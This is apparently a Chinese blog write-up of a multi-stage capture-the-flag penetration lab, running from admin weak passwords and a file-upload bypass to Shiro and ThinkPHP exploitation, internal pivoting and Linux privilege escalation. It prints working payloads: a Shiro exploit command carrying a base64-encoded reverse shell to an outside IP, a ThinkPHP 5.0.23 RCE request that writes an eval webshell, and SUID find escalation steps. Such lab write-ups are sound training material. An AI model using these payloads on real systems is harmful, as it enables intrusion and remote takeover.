夜晚无聊突然看到有个这个玩意,就来玩玩

场景1:

打开场景,给了一个ip带端口网站,直接打开F12一下找到第一个flag

image-20220929023600503.png

并给出提示
PS:下个flag网站管理员才能看到哦

场景2:

这应该就是要找后台了,试一下url/admin,成功转到后台地址,再来一波弱口令 admin admin
成功登陆,并且找到第二个flag(前面感觉有点简单了,但是入门也就这样差不多了)

image-20220929024025823.png

并且接着给出提示:ps:/home

场景3:

登陆上后台找一下文件上传点或者其他方式getshell了,/home几率是flag的路径
初步一看上传点还不少,上传配置还能修改,在后缀加上php,可以保存,利用方法可能挺多的可能,但是没有去测试,这个好用的直接甩你脸上了,然后直接上传一句话,直接上传显示失败,返回上传后缀为空,因此我们可以猜测后台检测到php后缀会替换为空,所以会这样回显,双写后缀即可绕过。.pphphp

image-20220929025309542.png

连接执行命令读取flag

image-20220929025440783.png

并得到提示:PS:root and database

场景4:

(谷歌浏览器用多了,发现突然用火狐还不太习惯了O.o)
提示root和数据库,找一下配置文件:
datebase.php

<?php
return [
    'type'            => 'mysql',
    'hostname'        => '127.0.0.1',
    'database'        => 'myu',
    'username'        => 'root',
    'password'        => 'root',
    'hostport'        => '3306',
    'prefix'          => 'my_',
];

找到数据库账号密码为: root root
连接进行数据操作,拿到flag

image-20220929030540781.png

后面还有hint:可以试试nc 还有 root

场景5

题目还有提示:

image-20220929030823392.png

root用户/可PWN、可执行main
找到文件分析一下
pwn的文件在/home/ctf里,
拖到虚拟机分析一下,一个比较简单的pwn
这里属于是对bugku的经验之谈了,pwn默认端口是9999,就直接打了,其实上面第一步就应该扫描一下端口的,

image-20220929033809348.png

这里也是看到提示才想起来
PS:port 8080
扫描一下看看吧:

image-20220929034032476.png

可以看到开了这些端口服务

场景6:

访问8080端口,发现是一个登录框,
这里可以尝试扫描一下敏感路径找到一个robots.txt
访问拿到flag跟提示:

# # robots.txt for shiro # flag{cb75dfb338cb2b16338c9481e6b387ab} PS:next to my home # User-agent: * Disallow:

场景7:

又是/home,估计又是RCE了,
从上面的 for shiro 可以找一下shiro的漏洞
找到一个Shiro 的 “记住我” 功能是设置 cookie 中的 rememberMe 值来实现。当后端接收到来自未经身份验证的用户的请求时,它将通过执行以下操作来寻找他们记住的身份:

1.检索 cookie 中 RememberMe 的值
2.Base64 解码
3.使用 AES 解密
4.反序列化

漏洞原因在于第三步,在 Apache Shiro<=1.2.4 版本中 AES 加密时采用的 key 是硬编码在代码中的,于是我们就可以构造 RememberMe 的值,然后让其反序列化执行。
只要 rememberMe 的 AES 加密密钥泄露,无论 shiro 是什么版本都会导致反序列化漏洞。
抓个包看一下,发现有:Set-Cookie: rememberMe=deleteMe
(电脑环境出了问题,弄了好久环境,续期了一下,真贵啊....最后还是上服务器先做完这个吧....)
python shiro_exploit.py -u http://101.133.166.122:8080/

image-20220929051139062.png

确实存在,直接反弹shell吧,速战速决!!!

python shiro_exploit.py -t 3 -u http://101.133.166.122:8080/ -p "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xLjE1LjY2LjE4OS8yMjIyMiAwPiYx}|{base64,-d}|{bash,-i}"

弹了半天,环境续期了两次,最后准备放弃睡觉的时候弹上了,简单记录下吧

image-20220929055749725.png

场景8:

flag在上面截图,就是一个suid提权,
find / -perm -4000 -type f 2>/dev/null #查看具有suid 权限的可执行二进制程序
然后发现有find,直接创建一个有权限的文件,然后find file -exec whoami \;即可拿到root权限

场景9:

提示查看一下内网;
开始内网渗透了,因为是边做边记录的,开了三次靶机了,电脑环境坏了,先做一下,简单记录一下
(由于电脑跟服务其器出问题开了五次环境,最后还是没弄好,就下机睡觉去了,跟管理商讨补了我两次金币,非常的良心!!!)
开第六次环境尝试
......
上了一段时间班,再回来看看O.o
隔久了没看,生疏了,
大概重新打了一遍,上传webshell,蚁剑连接

123123412.png

上传fscan,内网直接fscan扫这个c段:

192.168.0.1:80 open
192.168.0.4:80 open
192.168.0.2:80 open
192.168.0.1:22 open
192.168.0.1:8080 open
192.168.0.3:8080 open
192.168.0.4:3306 open
192.168.0.1:9999 open
192.168.0.2:9999 open
[*] WebTitle:http://192.168.0.1        code:200 len:59431  title:W3School教程系统 | 打造专一的web在线教程系统
[*] WebTitle:http://192.168.0.2        code:200 len:59431  title:W3School教程系统 | 打造专一的web在线教程系统
[*] WebTitle:http://192.168.0.1:8080   code:302 len:0      title:None 跳转url: http://192.168.0.1:8080/login;jsessionid=4F6F94E798498623C3C92F8A3FDB65C2
[*] WebTitle:http://192.168.0.3:8080   code:302 len:0      title:None 跳转url: http://192.168.0.3:8080/login;jsessionid=08B6BEADD13B5E2D7CDE008C2C39DC4D
[*] WebTitle:http://192.168.0.4        code:200 len:8351   title:博客首页
[*] WebTitle:http://192.168.0.3:8080/login;jsessionid=08B6BEADD13B5E2D7CDE008C2C39DC4D code:200 len:2608   title:Login Page
[*] WebTitle:http://192.168.0.1:8080/login;jsessionid=4F6F94E798498623C3C92F8A3FDB65C2 code:200 len:2608   title:Login Page
[+] http://192.168.0.1:8080/ poc-yaml-shiro-key [{key kPH+bIxk5D2deZiIxcaaaA==} {mode cbc}]
[+] http://192.168.0.3:8080/ poc-yaml-shiro-key [{key kPH+bIxk5D2deZiIxcaaaA==} {mode cbc}]
[+] http://192.168.0.4 poc-yaml-thinkphp5023-method-rce poc1

然后就是上传frp 端口转发,进行内网穿透;直接将192.168.0.3的8080端口和0480端口转发到自己的VPS上,整体思路如下(隔久了,跟上次的思路有点差异,但是整体的应该要实现的东西应该是差不多的)

stcs1.jpg

然后就可以用自己VPS相对应映射的端口进行访问内网主机了,后面的也就简单了
thinkphp 5023 rce,直接找一下payload写入webshell

POST /index.php

_method=__construct&filter[]=system&method=get&server[REQUSET_METHOD]= echo%20"<?php%20@eval(\$_POST[bit]);?>">%20bit.php%20

蚁剑连接在上级目录找到flag(/var/www/html/flag)

场景10

PS:database 查看数据库的配置文件:

53244.png

上面都已经映射好了,那么直接连接找flag就行了

mysqlflag.jpg

场景11

PS:root 不出意外的话就是提权了 【CVE-2021-4034】
教程很多,随便搜一下一堆,这里不再概述了
CVE-2021-4034 POC

上传脚本,编译执行后获取root权限,查看flag

总结:题目提示的很多,真实环境中很多都是要自己慢慢摸索出来的。后面的这些操作比较基础,如果说难点的话就是在内网穿透那里吧,不熟悉或者哪里配置错误一点点,脑子热都会纠结很久,(是的,我没说别人,我在说我自己,脑子迷糊的时候明明感觉思路没错,但就是一直没成功)最后的话这一题 金币-80,第一次做的时候脑子太蠢了,浪费了好多


特别感谢:@jun大佬的耐心指导。

标签: none

暂无评论